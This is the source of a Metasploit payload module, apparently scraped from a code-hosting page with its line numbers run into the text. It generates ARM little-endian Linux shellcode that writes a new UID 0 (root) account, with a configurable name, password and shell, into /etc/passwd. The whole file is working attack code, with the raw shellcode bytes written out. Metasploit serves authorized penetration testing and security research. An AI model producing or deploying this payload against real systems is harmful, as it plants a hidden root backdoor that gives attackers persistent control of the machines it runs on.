Path: blob/master/modules/payloads/singles/linux/armle/adduser.rb
19593 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45###6#7# AddUser8# -------9#10# Adds a UID 0 user to /etc/passwd.11#12###13module MetasploitModule14CachedSize = 1191516include Msf::Payload::Single17include Msf::Payload::Linux::Armle::Prepends1819def initialize(info = {})20super(21merge_info(22info,23'Name' => 'Linux Add User',24'Description' => 'Create a new user with UID 0',25'Author' => [ 'Jonathan Salwan' ],26'License' => MSF_LICENSE,27'Platform' => 'linux',28'Arch' => ARCH_ARMLE,29'Privileged' => true30)31)3233# Register adduser options34register_options(35[36OptString.new('USER', [ true, 'The username to create', 'metasploit' ]),37OptString.new('PASS', [ true, 'The password for this user', 'metasploit' ]),38OptString.new('SHELL', [ false, 'The shell for this user', '/bin/sh' ]),39]40)41end4243#44# Dynamically builds the adduser payload based on the user's options.45#46def generate(_opts = {})47user = datastore['USER'] || 'metasploit'48pass = datastore['PASS'] || 'metasploit'49shell = datastore['SHELL'] || '/bin/sh'50str = "#{user}:#{pass.crypt('Az')}:0:0::/:#{shell}\n"51strl1 = [ str.length + 52 ].pack('C*')52strl2 = [ str.length ].pack('C*')53pwdir = '/etc/passwd'54"\x05\x50\x45\xe0\x01\x50\x8f\xe2\x15\xff\x2f\xe1" \55"\x78\x46" + strl1 + "\x30\xff\x21\xff\x31\xff\x31" \56"\xff\x31\x45\x31\xdc\x22\xc8\x32\x05\x27\x01\xdf" \57"\x80\x46\x41\x46\x08\x1c\x79\x46\x18\x31\xc0\x46" +58strl2 + "\x22\x04\x27\x01\xdf\x41\x46\x08\x1c\x06" \59"\x27\x01\xdf\x1a\x49\x08\x1c\x01\x27\x01\xdf" +60str + pwdir61end62end636465